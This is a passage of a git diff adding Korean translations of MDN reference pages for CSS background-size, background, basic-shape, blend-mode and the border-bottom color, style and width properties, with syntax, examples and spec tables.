이미지가 잘리거나 찌그러지지 않는 한도 내에서 제일 크게 설정.
+
cover
+
이미지가 찌그러지지 않는 한도 내에서 제일 크게 설정. 이미지의 가로세로비가 요소와 다르다면 이미지를 세로 또는 가로방향으로 잘라내어 빈 공간이 생기지 않도록 설정합니다.
+
auto
+
배경 이미지의 원본 크기를 유지.
+
{{cssxref("<length>")}}
+
원본 크기의 너비/높이를 주어진 값으로 늘리거나 줄임. 음수는 유효하지 않습니다.
+
{{cssxref("<percentage>")}}
+
Stretches the image in the corresponding dimension to the specified percentage of the background positioning area. The background positioning area is determined by the value of {{cssxref("background-origin")}} (by default, the padding box). However, if the background's {{cssxref("background-attachment")}} value is fixed, the positioning area is instead the entire {{glossary("viewport")}}. Negative values are not allowed.
+
+ +

원본 크기와 비율

+ +

The computation of values depends on the image's intrinsic dimensions (width and height) and intrinsic proportions (width-to-height ratio). These attributes are as follows:

+ +
    +
  • A bitmap image (such as JPG) always has intrinsic dimensions and proportions.
  • +
  • A vector image (such as SVG) does not necessarily have intrinsic dimensions. If it has both horizontal and vertical intrinsic dimensions, it also has intrinsic proportions. If it has no dimensions or only one dimension, it may or may not have proportions.
  • +
  • CSS {{cssxref("<gradient>")}}s have no intrinsic dimensions or intrinsic proportions.
  • +
  • Background images created with the {{cssxref("element()")}} function use the intrinsic dimensions and proportions of the generating element.
  • +
+ +
+

Note: The behavior of <gradient>s changed in Gecko 8.0 {{geckoRelease("8.0")}}. Before this, they were treated as images with no intrinsic dimensions, but with intrinsic proportions identical to that of the background positioning area.

+
+ +
+

Note: In Gecko, background images created using the {{cssxref("element()")}} function are currently treated as images with the dimensions of the element, or of the background positioning area if the element is SVG, with the corresponding intrinsic proportion. This is non-standard behavior.

+
+ +

Based on the intrinsic dimensions and proportions, the rendered size of the background image is computed as follows:

+ +
+
If both components of background-size are specified and are not auto:
+
The background image is rendered at the specified size.
+
If the background-size is contain or cover:
+
While preserving its intrinsic proportions, the image is rendered at the largest size contained within, or covering, the background positioning area. If the image has no intrinsic proportions, then it's rendered at the size of the background positioning area.
+
If the background-size is auto or auto auto:
+
+
    +
  • If the image has both horizontal and vertical intrinsic dimensions, it's rendered at that size.
  • +
  • If the image has no intrinsic dimensions and has no intrinsic proportions, it's rendered at the size of the background positioning area.
  • +
  • If the image has no intrinsic dimensions but has intrinsic proportions, it's rendered as if contain had been specified instead.
  • +
  • If the image has only one intrinsic dimension and has intrinsic proportions, it's rendered at the size corresponding to that one dimension. The other dimension is computed using the specified dimension and the intrinsic proportions.
  • +
  • If the image has only one intrinsic dimension but has no intrinsic proportions, it's rendered using the specified dimension and the other dimension of the background positioning area.
  • +
+
+
+
Note: SVG images have a preserveAspectRatio attribute that defaults to the equivalent of contain. In Firefox 43, as opposed to Chrome 52, an explicit background-size causes preserveAspectRatio to be ignored.
+
+
If the background-size has one auto component and one non-auto component:
+
+
    +
  • If the image has intrinsic proportions, it's stretched to the specified dimension. The unspecified dimension is computed using the specified dimension and the intrinsic proportions.
  • +
  • If the image has no intrinsic proportions, it's stretched to the specified dimension. The unspecified dimension is computed using the image's corresponding intrinsic dimension, if there is one. If there is no such intrinsic dimension, it becomes the corresponding dimension of the background positioning area.
  • +
+
+
+ +
+

Note: Background sizing for vector images that lack intrinsic dimensions or proportions is not yet fully implemented in all browsers. Be careful about relying on the behavior described above, and test in multiple browsers to be sure the results are acceptable.

+
+ +

형식 구문

+ +
{{csssyntax}}
+
+ +

예제

+ +

Please see Scaling background images for examples.

+ +

참고

+ +

If you use a <gradient> as the background and specify a background-size to go with it, it's best not to specify a size that uses a single auto component, or is specified using only a width value (for example, background-size: 50%). Rendering of <gradient>s in such cases changed in Firefox 8, and at present is generally inconsistent across browsers, which do not all implement rendering in full accordance with the CSS3 background-size specification and with the CSS3 Image Values gradient specification.

+ +
.gradient-example {
+  width: 50px;
+  height: 100px;
+  background-image: linear-gradient(blue, red);
+
+  /* Not safe to use */
+  background-size: 25px;
+  background-size: 50%;
+  background-size: auto 50px;
+  background-size: auto 50%;
+
+  /* Safe to use */
+  background-size: 25px 50px;
+  background-size: 50% 50%;
+}
+
+ +

Note that it's particularly not recommended to use a pixel dimension and an auto dimension with a <gradient>, because it's impossible to replicate rendering in versions of Firefox prior to 8, and in browsers not implementing Firefox 8's rendering, without knowing the exact size of the element whose background is being specified.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-background-size', 'background-size')}}{{Spec2('CSS3 Backgrounds')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.background-size")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/background/index.html b/files/ko/web/css/background/index.html new file mode 100644 index 0000000000..1fd697b1d8 --- /dev/null +++ b/files/ko/web/css/background/index.html @@ -0,0 +1,178 @@ +--- +title: background +slug: Web/CSS/background +tags: + - CSS + - CSS Background + - CSS Property + - Reference + - 'recipe:css-shorthand-property' +translation_of: Web/CSS/background +--- +
{{CSSRef("CSS Background")}}
+ +

CSS background 단축 속성은 색상, 이미지, 원점, 크기, 반복 등 여러 배경 스타일을 한 번에 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/background.html")}}
+ + + +

구성 속성

+ +

background는 단축 속성으로서 다음의 하위 속성을 포함합니다.

+ +
    +
  • {{cssxref("background-attachment")}}
  • +
  • {{cssxref("background-clip")}}
  • +
  • {{cssxref("background-color")}}
  • +
  • {{cssxref("background-image")}}
  • +
  • {{cssxref("background-origin")}}
  • +
  • {{cssxref("background-position")}}
  • +
  • {{cssxref("background-repeat")}}
  • +
  • {{cssxref("background-size")}}
  • +
+ +

구문

+ +
/* <background-color> 사용 */
+background: green;
+
+/* <bg-image>와 <repeat-style> 사용 */
+background: url("test.jpg") repeat-y;
+
+/* <box>와 <background-color> 사용 */
+background: border-box red;
+
+/* 단일 이미지, 중앙 배치 및 크기 조절 */
+background: no-repeat center/80% url("../img/image.png");
+
+ +

background 속성을 쉼표로 구분해서 배경 레이어를 여러 개 지정할 수 있습니다.

+ +

각 레이어의 구문은 다음과 같습니다.

+ +
    +
  • 각 레이어는 다음 값을 가지거나 가지지 않을 수 있습니다. + +
  • +
  • <bg-size> 값은 <position> 바로 뒤에만 위치할 수 있으며 '/' 문자로 구분해야 합니다. 예를 들면 "center/80%" 처럼 사용합니다.
  • +
  • <box> 값은 2개까지 가지거나 가지지 않을 수 있습니다. 1개 가진다면 {{cssxref("background-origin")}}과 {{cssxref("background-clip")}}을 모두 설정합니다. 2개 가진다면 처음 값은 {{cssxref("background-origin")}}, 두 번째 값은 {{cssxref("background-clip")}}을 설정합니다.
  • +
  • <background-color> 값은 마지막 레이어만 가질 수 있습니다.
  • +
+ +

+ +
+
<attachment>
+
{{cssxref("background-attachment")}}
+
<box>
+
{{cssxref("background-clip")}}, {{cssxref("background-origin")}}
+
<background-color>
+
{{cssxref("background-color")}}
+
<bg-image>
+
{{Cssxref("background-image")}}
+
<position>
+
{{cssxref("background-position")}}
+
<repeat-style>
+
{{cssxref("background-repeat")}}
+
<bg-size>
+
{{cssxref("background-size")}}
+
+ +

접근성 고려사항

+ +

브라우저는 배경 이미지에 대한 어떠한 추가 정보도 접근성 보조 기술에 제공하지 않습니다. 특히 스크린 리더의 경우 배경 이미지의 존재 유무조차 알려주지 않습니다. 이미지가 페이지 목적의 이해에 필수적인 정보를 갖고 있다면 문서에서 구조적으로 설명하는 편이 좋습니다.

+ + + +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

색상 키워드와 이미지를 사용한 배경

+ +

HTML

+ +
<p class="topbanner">
+  작은 별<br/>
+  반짝 반짝<br/>
+  작은 별
+</p>
+<p class="warning">문단 하나<p>
+ +

CSS

+ +
.warning {
+  background: pink;
+}
+
+.topbanner {
+  background: url("https://mdn.mozillademos.org/files/11983/starsolid.gif") #99f repeat-y fixed;
+}
+ +

결과

+ +

{{EmbedLiveSample("색상_키워드와_이미지를_사용한_배경")}}

+ +
    +
+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-background', 'background')}}{{Spec2('CSS3 Backgrounds')}}The shorthand property has been extended to support multiple backgrounds and the new {{cssxref("background-size")}}, {{cssxref("background-origin")}} and {{cssxref("background-clip")}} properties.
{{SpecName('CSS2.1', 'colors.html#propdef-background', 'background')}}{{Spec2('CSS2.1')}}No significant changes
{{SpecName('CSS1', '#background', 'background')}}{{Spec2('CSS1')}}Initial definition
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.background")}}

+ +

같이 보기

+ + + +

Categoria

diff --git a/files/ko/web/css/basic-shape/index.html b/files/ko/web/css/basic-shape/index.html new file mode 100644 index 0000000000..1697320804 --- /dev/null +++ b/files/ko/web/css/basic-shape/index.html @@ -0,0 +1,179 @@ +--- +title: +slug: Web/CSS/basic-shape +tags: + - CSS + - CSS Date Type + - CSS Shapes + - Reference +translation_of: Web/CSS/basic-shape +--- +
{{CSSRef}}
+ +

<basic-shape> CSS 자료형은 {{cssxref("clip-path")}}, {{cssxref("shape-outside")}}, {{cssxref("offset-path")}} 속성이 사용할 형태를 정의합니다.

+ +
{{EmbedInteractiveExample("pages/css/type-basic-shape.html")}}
+ + + +

구문

+ +

<basic-shape> 자료형은 아래의 기본 형태 함수 중 하나를 사용해 정의합니다.

+ +

형태를 생성할 때, 형태의 기준 상자는 <basic-shape> 값을 사용하는 속성이 결정합니다. 형태의 좌표계는 기준 상자의 좌상단을 원점으로 하고, X축은 오른쪽, Y축은 아래쪽으로 나가게 됩니다. 백분율료 표현한 모든 길이는 기준 상자의 크기를 사용해 계산합니다.

+ +

형태 함수

+ +

다음의 형태를 지원합니다. 모든 <basic-shape> 값은 함수형 표기법을 사용하고, 여기서는 값 정의 구문을 통해 정의합니다.

+ +
+
inset()
+
+
inset( <shape-arg>{1,4} [round <border-radius>]? )
+ +

인셋(inset) 사각형을 정의합니다.

+ +

매개변수 네 개를 모두 제공했을 땐 기준 상자의 상, 우, 하, 좌측 모서리에서 각각의 값만큼 안쪽으로 이동하여 인셋 사각형의 모서리를 구성합니다. 매개변수는 여백 단축 속성의 구분을 따르므로 네 모서리를 한 개, 두 개 등의 값만으로 정의할 수 있습니다.

+ +

선택적 {{cssxref("border-radius", "<border-radius>")}} 매개변수를 border-radius 단축 속성 구문을 사용해 지정하면 인셋 사각형의 모서리를 둥글게 만들 수 있습니다.

+ +

좌우 인셋 각각 75%처럼, 한 축의 인셋 쌍 값의 합이 요소가 차지하는 크기보다 큰 경우 면적 없는 형태를 정의합니다.

+ + +
+
circle()
+
+
circle( [<shape-radius>]? [at <position>]? )
+ +

<shape-radius> 매개변수는 원의 반지름 r을 지정합니다. 음수는 유효하지 않습니다. 백분율 값을 사용하면 기준 상자의 너비와 높이를 공식 sqrt(width^2+height^2)/sqrt(2)에 대입한 결과가 최종 값이 됩니다.

+ +

{{cssxref("<position>")}} 매개변수는 원의 중심을 지정합니다. 생략할 경우 중앙을 기본값으로 사용합니다.

+
+
ellipse()
+
+
ellipse( [<shape-radius>{2}]? [at <position>]? )
+ +

<shape-radius> 매개변수는 타원의 X축, Y축 반지름인 rx와 ry를 순서대로 지정합니다. 두 값 모두 음수는 유효하지 않습니다. 백분율 값을 사용하면 기준 상자의 너비(rx)와 높이(ry)를 사용해 계산합니다.

+ +

{{cssxref("<position>")}} 매개변수는 타원의 중심을 지정합니다. 생략할 경우 중앙을 기본값으로 사용합니다.

+
+
polygon()
+
+
polygon( [<fill-rule>,]? [<shape-arg> <shape-arg>]# )
+ +

<fill-rule> represents the filling rule used to determine the interior of the polygon. Possible values are nonzero and evenodd. Default value when omitted is nonzero.

+ +

Each pair argument in the list represents xi and yi - the x and y axis coordinates of the ith vertex of the polygon.

+
+
path()
+
+
path( [<fill-rule>,]? <string>)
+ +

The optional <fill-rule> represents the filling rule used to determine the interior of the path. Possible values are nonzero and evenodd. Default value when omitted is nonzero.

+ +

The required <string> is an SVG Path string encompassed in quotes

+
+
+ +

The arguments not defined above are defined as follows:

+ +
<shape-arg> = <length> | <percentage>
+<shape-radius> = <length> | <percentage> | closest-side | farthest-side
+ +

Defines a radius for a circle or ellipse. If omitted it defaults to closest-side.

+ +

closest-side uses the length from the center of the shape to the closest side of the reference box. For circles, this is the closest side in any dimension. For ellipses, this is the closest side in the radius dimension.

+ +

farthest-side uses the length from the center of the shape to the farthest side of the reference box. For circles, this is the farthest side in any dimension. For ellipses, this is the farthest side in the radius dimension.

+ +

기본 형태의 계산값

+ +

The values in a <basic-shape> function are computed as specified, with these exceptions:

+ +
    +
  • Omitted values are included and compute to their defaults.
  • +
  • A {{cssxref("<position>")}} value in circle() or ellipse() is computed as a pair of offsets (horizontal then vertical) from the top left origin, each given as a combination of an absolute length and a percentage.
  • +
  • A <border-radius> value in inset() is computed as an expanded list of all eight {{cssxref("length")}} or percentage values.
  • +
+ +

기본 형태의 보간법

+ +

When animating between one <basic-shape> and another, the rules below are applied. The values in the shape functions interpolate as a simple list. The list values interpolate as {{cssxref("<length>")}}, {{cssxref("<percentage>")}}, or {{cssxref("calc()")}} where possible. If list values are not one of those types but are identical, those values do interpolate.

+ +
    +
  • Both shapes must use the same reference box.
  • +
  • If both shapes are the same type, that type is ellipse() or circle(), and none of the radii use the closest-side or farthest-side keywords, interpolate between each value in the shape functions.
  • +
  • If both shapes are of type inset(), interpolate between each value in the shape functions.
  • +
  • If both shapes are of type polygon(), both polygons have the same number of vertices, and use the same <fill-rule>, interpolate between each value in the shape functions.
  • +
  • If both shapes are of type path(), both paths strings have the same number and types of path data commands in the same order, interpolate each path data command as real numbers.
  • +
  • In all other cases no interpolation occurs.
  • +
+ +

예제

+ +

Animated polygon

+ +

In this example, we use the @keyframes at-rule to animate a clip path between two polygons. Note that both polygons have the same number of vertices, which is necessary for this type of animation to work.

+ +

HTML

+ +
<div></div>
+ +

CSS

+ +
div {
+  width: 300px;
+  height: 300px;
+  background: repeating-linear-gradient(red, orange 50px);
+  clip-path: polygon(50% 0%, 60% 40%, 100% 50%, 60% 60%, 50% 100%, 40% 60%, 0% 50%, 40% 40%);
+  animation: 4s poly infinite alternate ease-in-out;
+  margin: 10px auto;
+}
+
+@keyframes poly {
+  from {
+    clip-path: polygon(50% 0%, 60% 40%, 100% 50%, 60% 60%, 50% 100%, 40% 60%, 0% 50%, 40% 40%);
+  }
+
+  to {
+    clip-path: polygon(50% 30%, 100% 0%, 70% 50%, 100% 100%, 50% 70%, 0% 100%, 30% 50%, 0% 0%);
+  }
+}
+ +

결과

+ +

{{EmbedLiveSample('Animated_polygon','340', '340')}}

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('CSS Shapes', '#basic-shape-functions', '<basic-shape>') }}{{ Spec2('CSS Shapes') }}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.basic-shape")}}

+ +

같이 보기

+ + diff --git a/files/ko/web/css/blend-mode/index.html b/files/ko/web/css/blend-mode/index.html new file mode 100644 index 0000000000..f5570e1ce3 --- /dev/null +++ b/files/ko/web/css/blend-mode/index.html @@ -0,0 +1,404 @@ +--- +title: +slug: Web/CSS/blend-mode +tags: + - CSS + - CSS Data Type + - Reference + - 블렌드 모드 + - 혼합 모드 +translation_of: Web/CSS/blend-mode +--- +
{{CSSRef}}
+ +

CSS <blend-mode> 자료형은 요소가 겹칠 경우 색상이 어떻게 나타나야 하는지 정의합니다. {{cssxref("background-blend-mode")}}와 {{cssxref("mix-blend-mode")}} 속성에서 사용합니다.

+ +

최종 색상은 혼합 모드를 적용한 레이어 각각의 픽셀 하나씩에 대해 전경색과 배경색을 취한 후 모드에 따라 계산을 수행하여 나온 새로운 값입니다.

+ +

구문

+ +

<blend-mode> 자료형은 다음 키워드 값 중 하나를 선택해 지정합니다.

+ +

+ +
+
normal
+
+

배경색에 상관하지 않고 최상단 색을 사용합니다.
+ 두 장의 불투명한 종이를 겹친 것과 같습니다.

+ +
+ +
+ +

{{ EmbedLiveSample('normal_example', "300", "300") }}

+
+
multiply
+
+

최종 색은 전경과 배경색을 곱한 값입니다.
+ 검은 레이어는 최종 레이어를 검은 색으로 만들고, 하얀 레이어는 아무런 변화도 주지 않습니다.
+ 투명한 필름에 프린트한 이미지를 서로 겹친 것과 같습니다.

+ +
+ +
+ +

{{ EmbedLiveSample('multiply_example', "300", "300") }}

+
+
screen
+
+

최종 색은 전경과 배경색을 각각 반전한 후 서로 곱해 나온 값을 다시 반전한 값입니다.
+ 검은 레이어는 아무런 변화도 주지 않고, 하얀 레이어는 최종 레이어를 하얗게 만듭니다.
+ 프로젝터 두 대로 이미지를 겹친 것과 같습니다.

+ +
+ +
+ +

{{ EmbedLiveSample('screen_example', "300", "300") }}

+
+
overlay
+
배경색이 더 어두운 경우 multiply, 더 밝은 경우 screen을 적용합니다.
+ hard-light와 같지만 배경과 전경을 뒤집은 것입니다. +
+ +
+ +

{{ EmbedLiveSample('overlay_example', "300", "300") }}

+
+
darken
+
+

최종 색은 각각의 색상 채널에 대해 제일 어두운 값을 취한 결과입니다.

+ +
+ +
+ +

{{ EmbedLiveSample('darken_example', "300", "300") }}

+
+
lighten
+
+

최종 색은 각각의 색상 채널에 대해 제일 밝은 값을 취한 결과입니다.

+ +
+ +
+ +

{{ EmbedLiveSample('lighten_example', "300", "300") }}

+
+
color-dodge
+
+

최종 색은 배경색을 전경색의 역으로 나눈 결과입니다.
+ 검은 전경색은 아무런 변화도 주지 않습니다. 전경색이 배경색의 역인 경우 제일 밝은 색이 됩니다.
+ screen과 유사하지만, 전경색의 밝기가 배경색과 동일하기만 해도 최대의 밝기를 가진 색을 반환합니다.

+ +
+ +
+ +

{{ EmbedLiveSample('color-dodge_example', "300", "300") }}

+
+
color-burn
+
+

최종 색은 배경색을 반전한 후 전경색으로 나누고, 다시 반전한 결과입니다.
+ 하얀 전경색은 아무런 변화도 주지 않습니다. 전경색이 배경색의 역인 경우 결과는 검은색입니다.
+ multiply와 유사하지만, 전경색의 밝기가 배경색의 역과 동일하기만 해도 검은색을 반환합니다.

+ +
+ +
+ +

{{ EmbedLiveSample('color-burn_example', "300", "300") }}

+
+
hard-light
+
+

전경색이 더 어두운 경우 multiply, 더 밝은 경우 screen을 적용합니다.
+ overlay와 같지만 배경과 전경을 뒤집은 것입니다.
+ 배경색에 스포트라이트를 "강렬하게" 비춘 효과와 유사합니다.

+ +
+ +
+ +

{{ EmbedLiveSample('hard-light_example', "300", "300") }}

+
+
soft-light
+
+

hard-light와 유사하지만 더 부드럽습니다.
+ hard-light와 비슷하게 동작합니다.
+ 배경색에 스포트라이트를 산란시켜 비춘 효과와 유사합니다.

+ +
+ +
+ +

{{ EmbedLiveSample('soft-light_example', "300", "300") }}

+
+
difference
+
+

최종 색은 두 색상 중 더 어두운 색을 밝은 색에서 뺀 결과입니다.
+ 검은 레이어는 아무런 변화도 주지 않고, 흰 레이어로는 다른 레이어의 색을 반전한 효과를 냅니다.

+ +
+ +
+ +

{{ EmbedLiveSample('difference_example', "300", "300") }}

+
+
exclusion
+
+

difference와 유사하지만 더 적은 대비를 가진 색을 반환합니다.
+ difference와 마찬가지로 검은 레이어는 아무런 변화도 주지 않고, 흰 레이어로는 다른 레이어의 색을 반전한 효과를 냅니다.

+ +
+ +
+ +

{{ EmbedLiveSample('exclusion_example', "300", "300") }}

+
+
hue
+
+

최종 색은 전경색의 색조를 가지며 배경색의 채도와 밝기를 가집니다.

+ +
+ +
+ +

{{ EmbedLiveSample('hue_example', "300", "300") }}

+
+
saturation
+
+

최종 색은 전경색의 채도를 가지며 배경색의 색조와 밝기를 가집니다.
+ 색조 없는 순수한 회색 배경으로는 아무런 효과도 없습니다.

+ +
+ +
+ +

{{ EmbedLiveSample('saturation_example', "300", "300") }}

+
+
color
+
+

최종 색은 전경색의 색조와 채도를 가지며 배경색의 밝기를 가집니다.
+ 회색조를 유지하므로 전경을 색칠할 때 사용할 수 있습니다.

+ +
+ +
+ +

{{ EmbedLiveSample('color_example', "300", "300") }}

+
+
luminosity
+
+

최종 색은 전경색의 밝기를 가지며 배경색의 색조와 채도를 가집니다.
+ color와 동일하지만 배경과 전경을 뒤집은 것입니다.

+ +
+ +
+ +

{{ EmbedLiveSample('luminosity_example', "300", "300") }}

+
+
+ +

혼합 모드의 보간

+ +

혼합 모드는 보간 대상이 아니며 모든 변경점은 즉시 발생합니다.

+ +

명세

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{ SpecName('Compositing', '#ltblendmodegt', '<blend-mode>') }}{{ Spec2('Compositing') }}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.types.blend-mode")}}

+ +

같이 보기

+ +
    +
  • <blend-mode>를 사용하는 속성: {{cssxref("background-blend-mode")}}, {{cssxref("mix-blend-mode")}}
  • +
+ +

각각의 혼합 모드에 대한 설명을 다루는 외부 웹 페이지:

+ + diff --git a/files/ko/web/css/border-bottom-color/index.html b/files/ko/web/css/border-bottom-color/index.html new file mode 100644 index 0000000000..eddf531cdc --- /dev/null +++ b/files/ko/web/css/border-bottom-color/index.html @@ -0,0 +1,114 @@ +--- +title: border-bottom-color +slug: Web/CSS/border-bottom-color +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-bottom-color +--- +
{{CSSRef}}
+ +

border-bottom-color CSS 속성은 요소의 아래쪽 테두리 색상을 지정합니다. {{cssxref("border-color")}} 또는 {{cssxref("border-bottom")}} 단축 속성으로도 지정할 수 있습니다.

+ +
{{EmbedInteractiveExample("pages/css/border-bottom-color.html")}}
+ + + +

구문

+ +
/* <color> 값 */
+border-bottom-color: red;
+border-bottom-color: #ffbb00;
+border-bottom-color: rgb(255, 0, 0);
+border-bottom-color: hsla(100%, 50%, 25%, 0.75);
+border-bottom-color: currentColor;
+border-bottom-color: transparent;
+
+/* 전역 값 */
+border-bottom-color: inherit;
+border-bottom-color: initial;
+border-bottom-color: unset;
+
+ +

border-bottom-color 속성은 하나의 값을 사용해 지정합니다.

+ +

+ +
+
{{cssxref("<color>")}}
+
아래쪽 테두리의 색상.
+
+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

테두리를 가진 간단한 상자

+ +

HTML

+ +
<div class="mybox">
+  <p>This is a box with a border around it.
+     Note which side of the box is
+     <span class="redtext">red</span>.</p>
+</div>
+ +

CSS

+ +
.mybox {
+  border: solid 0.3em gold;
+  border-bottom-color: red;
+    width: auto;
+}
+
+.redtext {
+  color: red;
+}
+ +

결과

+ +

{{EmbedLiveSample('테두리를_가진_간단한_상자')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#border-bottom-color', 'border-bottom-color')}}{{Spec2('CSS3 Backgrounds')}}No significant changes, though the transparent keyword, now included in {{cssxref("<color>")}} which has been extended, has been formally removed.
{{SpecName('CSS2.1', 'box.html#propdef-border-bottom-color', 'border-bottom-color')}}{{Spec2('CSS2.1')}}Initial definition
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-bottom-color")}}

+ +

같이 보기

+ +
    +
  • 테두리 관련 CSS 단축 속성: {{cssxref("border")}}, {{cssxref("border-bottom")}}, {{cssxref("border-color")}}.
  • +
  • 다른 방향 테두리의 색상 관련 CSS 단축 속성: {{cssxref("border-top-color")}}, {{cssxref("border-right-color")}}, {{cssxref("border-left-color")}}.
  • +
  • 아래쪽 테두리 관련 CSS 속성: {{cssxref("border-bottom-style")}}, {{cssxref("border-bottom-width")}}.
  • +
diff --git a/files/ko/web/css/border-bottom-style/index.html b/files/ko/web/css/border-bottom-style/index.html new file mode 100644 index 0000000000..7cbdb4d17a --- /dev/null +++ b/files/ko/web/css/border-bottom-style/index.html @@ -0,0 +1,134 @@ +--- +title: border-bottom-style +slug: Web/CSS/border-bottom-style +tags: + - CSS + - CSS Borders + - CSS Property + - Reference +translation_of: Web/CSS/border-bottom-style +--- +
{{CSSRef}}
+ +

border-bottom-style CSS 속성은 요소 테두리의 아래쪽 스타일을 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-bottom-style.html")}}
+ + + +
참고: 명세는 서로 다른 스타일의 테두리가 꼭지점에서 만날 때 어떻게 그려야 할지는 정의하고 있지 않습니다.
+ +

구문

+ +
/* 키워드 값 */
+border-bottom-style: none;
+border-bottom-style: hidden;
+border-bottom-style: dotted;
+border-bottom-style: dashed;
+border-bottom-style: solid;
+border-bottom-style: double;
+border-bottom-style: groove;
+border-bottom-style: ridge;
+border-bottom-style: inset;
+border-bottom-style: outset;
+
+/* 전역 값 */
+border-bottom-style: inherit;
+border-bottom-style: initial;
+border-bottom-style: unset;
+
+ +

border-bottom-style 속성은 {{cssxref("border-style")}} 속성에 사용할 수 있는 키워드 중 하나를 사용해 지정할 수 있습니다.

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

HTML

+ +
<table>
+  <tr>
+    <td class="b1">none</td>
+    <td class="b2">hidden</td>
+    <td class="b3">dotted</td>
+    <td class="b4">dashed</td>
+  </tr>
+  <tr>
+    <td class="b5">solid</td>
+    <td class="b6">double</td>
+    <td class="b7">groove</td>
+    <td class="b8">ridge</td>
+  </tr>
+  <tr>
+    <td class="b9">inset</td>
+    <td class="b10">outset</td>
+  </tr>
+</table>
+ +

CSS

+ +
/* Define look of the table */
+table {
+  border-width: 2px;
+  background-color: #52E385;
+}
+tr, td {
+  padding: 3px;
+}
+
+/* border-bottom-style example classes */
+.b1 {border-bottom-style: none;}
+.b2 {border-bottom-style: hidden;}
+.b3 {border-bottom-style: dotted;}
+.b4 {border-bottom-style: dashed;}
+.b5 {border-bottom-style: solid;}
+.b6 {border-bottom-style: double;}
+.b7 {border-bottom-style: groove;}
+.b8 {border-bottom-style: ridge;}
+.b9 {border-bottom-style: inset;}
+.b10 {border-bottom-style: outset;}
+ +

결과

+ +

{{EmbedLiveSample('예제', 300, 200)}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-style', 'border-bottom-style')}}{{Spec2('CSS3 Backgrounds')}}No significant change.
{{SpecName('CSS2.1', 'box.html#border-style-properties', 'border-bottom-style')}}{{Spec2('CSS2.1')}}Initial definition.
+ +

{{cssinfo}}

+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-bottom-style")}}

+ +

같이 보기

+ +
    +
  • 테두리 스타일 관련 CSS 속성: {{cssxref("border-top-style")}}, {{cssxref("border-right-style")}}, {{cssxref("border-left-style")}}, {{cssxref("border-style")}}.
  • +
  • 아래쪽 테두리 관련 CSS 속성: {{cssxref("border-bottom")}}, {{cssxref("border-bottom-color")}}, {{cssxref("border-bottom-width")}}.
  • +
diff --git a/files/ko/web/css/border-bottom-width/index.html b/files/ko/web/css/border-bottom-width/index.html new file mode 100644 index 0000000000..eaf386b9a1 --- /dev/null +++ b/files/ko/web/css/border-bottom-width/index.html @@ -0,0 +1,150 @@ +--- +title: border-bottom-width +slug: Web/CSS/border-bottom-width +tags: + - CSS + - CSS Borders + - CSS Property + - Reference + - 'recipe:css-property' +translation_of: Web/CSS/border-bottom-width +--- +
{{CSSRef}}
+ +

CSS border-bottom-width 속성은 요소의 아래 테두리 너비를 지정합니다.

+ +
{{EmbedInteractiveExample("pages/css/border-bottom-width.html")}}
+ + + +

구문

+ +
/* 키워드 값 */
+border-bottom-width: thin;
+border-bottom-width: medium;
+border-bottom-width: thick;
+
+/* <length> 값 */
+border-bottom-width: 10em;
+border-bottom-width: 3vmax;
+border-bottom-width: 6px;
+
+/* 전역 값 */
+border-bottom-width: inherit;
+border-bottom-width: initial;
+border-bottom-width: unset;
+
+ +

+ +
+
<line-width>
+
테두리의 너비입니다. 0 이상의 {{cssxref("<length>")}} 또는 키워드를 사용할 수 있습니다. 키워드는 다음 세 가지 중 하나여야 합니다. + + + + + + + + + + + + + + + + + + +
thin +
+
얇은 테두리
medium +
+
중간 테두리
thick +
+
굵은 테두리
+ +
+

참고: 각 키워드의 굵기를 정의한 명세는 없기 때문에 결과는 구현별로 상이할 수 있습니다. 다만 굵기는 언제나 thin ≤ medium ≤ thick이고, 하나의 문서 내에서 동일합니다.

+
+
+
+ +

형식 정의

+ +

{{cssinfo}}

+ +

형식 구문

+ +
{{csssyntax}}
+ +

예제

+ +

아래 테두리의 너비 비교

+ +

HTML

+ +
<div>Element 1</div>
+<div>Element 2</div>
+ +

CSS

+ +
div {
+  border: 1px solid red;
+  margin: 1em 0;
+}
+
+div:nth-child(1) {
+  border-bottom-width: thick;
+}
+div:nth-child(2) {
+  border-bottom-width: 2em;
+}
+ +

결과

+ +

{{EmbedLiveSample('아래_테두리의_너비_비교', '100%')}}

+ +

명세

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('CSS3 Backgrounds', '#the-border-width', 'border-bottom-width')}}{{Spec2('CSS3 Backgrounds')}}No significant change.
{{SpecName('CSS2.1', 'box.html#border-width-properties', 'border-bottom-width')}}{{Spec2('CSS2.1')}}No significant change.
{{SpecName('CSS1', '#border-left-width', 'border-bottom-width')}}{{Spec2('CSS1')}}Initial definition.
+ +

브라우저 호환성

+ + + +

{{Compat("css.properties.border-bottom-width")}}

+ +

같이 보기

+ +
    +
  • 테두리 너비 관련 CSS 속성: {{Cssxref("border-left-width")}}, {{Cssxref("border-right-width")}}, {{Cssxref("border-top-width")}}, and {{Cssxref("border-width")}}.
  • +
